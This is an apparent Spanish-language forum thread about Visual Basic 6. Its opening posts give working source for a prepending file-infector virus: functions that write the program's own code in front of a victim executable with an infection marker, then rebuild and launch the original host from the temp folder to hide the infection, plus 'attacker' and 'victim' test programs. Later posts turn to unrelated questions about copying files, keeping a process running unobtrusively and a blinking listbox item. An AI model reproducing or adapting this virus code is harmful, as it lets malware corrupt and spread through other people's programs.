Pongo el codigo funcionando (lanzando el huesped con un "shell")

Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String
 
Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1
 
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1
 
sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección
 
Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1
 
End Function
 
'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String
 
sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus
 
Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1
 
Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1
 
Shell sFinal
 
End Function
 

Ya sta, al final logré correr el huesped con un createprocess xDD.


Salu2!

Ta ta, sorry por el despiste...

Alguno me exa una manilla ??

Wenasss noches gente.


Tengo una duda/problemilla con mi aplicación. Os comento.


Estoy desarrollando un proyecto... blablabla (tipico xDD). Total, que realizo la infección de un exe abriendolo, cogiendo su codigo (victima), abriendo mi prog, cogiendo mi codigo (atacante?) y reescribiendo la victima con mi codigo, y despues con el suyo.

El tema está en que para hacer pruebas, lo que la victima hace es crear un txt llamado "hola", y mi prog crea otro txt llamado "bu.txt" (si, nombres originales... xDD). La "infección" va bien, el exe pesa lo suyo (victima+atacante), pero solo crea el fichero "bu.txt" (siempre y cuando primero inyecte mi codigo en primer lugar). La pregunta es: ¿no debería crear los 2 txt´s?. Ya se que es muy básico, pero necesito saber si una vez ejecutado mi codigo, el otro exe (la victima), sigue con lo suyo...


PD: La función la saque de este foro (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html). Como supongo que necesitais el codigo, lo adjunto.


Salu2 y gracias anticipadas!!!!!

Codigo "atacante"

Private Sub Form_Load()
Open App.Path & "\bu.txt" For Output As #2
Print #2, "aaaa"
Close #2
infectar ("prog1.exe")
Unload Me
End
End Sub
 
Function infectar(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
 
'Mi codigo
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
'Victima
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
 
    NewCode = MyCode & VictimCode
 
'Final
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function
 

Codigo "victima"

Private Sub Form_Load()
Open App.Path + "\hola.txt" For Output As #1
Print #1, "hola"
Close #1
Unload Me
End
End Sub
 

Jodida ruta.... muchas gracias, no habia caido en el /c para que se me cerrase.



Salu2!!!!

Buenos días chaval@s, hoy me toca hacer la pregunta tonta a mi...

En fin, llevo 6 horas programando y estoy empanao... pero totalmente.


Mi pregunta es la siguiente.


Como pueda copiar, por ejemplo, todos los *.txt de un directorio (este directorio lo cojo de un ini) a otro (este destino es estático).

He probado con filecopy, pero nada (filecopy archivos, "c:\temporal") y nada. También he probado a lanzar un shell con un copy, pero tampoco nada.


Ya os digo, me ha tocado la pregunta tonta a mi hoy, asi que si no es mucha molestia... xDD.


Salu2!!!

Yo lo haría de alguan de estas dos formas:

- Con una tarea programada, cada X tiempo pero es un poco cantoso.
- La otra forma es con otro programa, me explico:

Tenemos 2 programas, el que quieres ejecutar y el que se va a encargar de ejecutarlo. Llamemoslo prog1 y prog2. El prog2 comprueba el proceso del prog1 y en funcion de si este o no activo, lo ejecuta o lo para.


Son soluciones un poco chapuzas, pero espero que te valgan.



Salu2!!

En principio parece buena opción, aunque voy a buscar la forma de optimizarlo.



Muchas cenKius !!   

Estoy con morpheusoliver:

Wenas a tod@s !

Necesito que alguien me heche una mano.


Tengo un listbox con varios elementos y lo que quiero hacer es que el ultimo que se ha seleccionado parpadee (despues de pulsar un boton). Me ejjjplico.


Si tengo 5 elementos, por ejemplo, y selecciono el número 3 y le doy al boton, lo que quiero es que el elemento 3 me parpade, de forma que se sepa cual ha sido el ultimo seleccionado, ¿esto es posible?.


Salu2!!!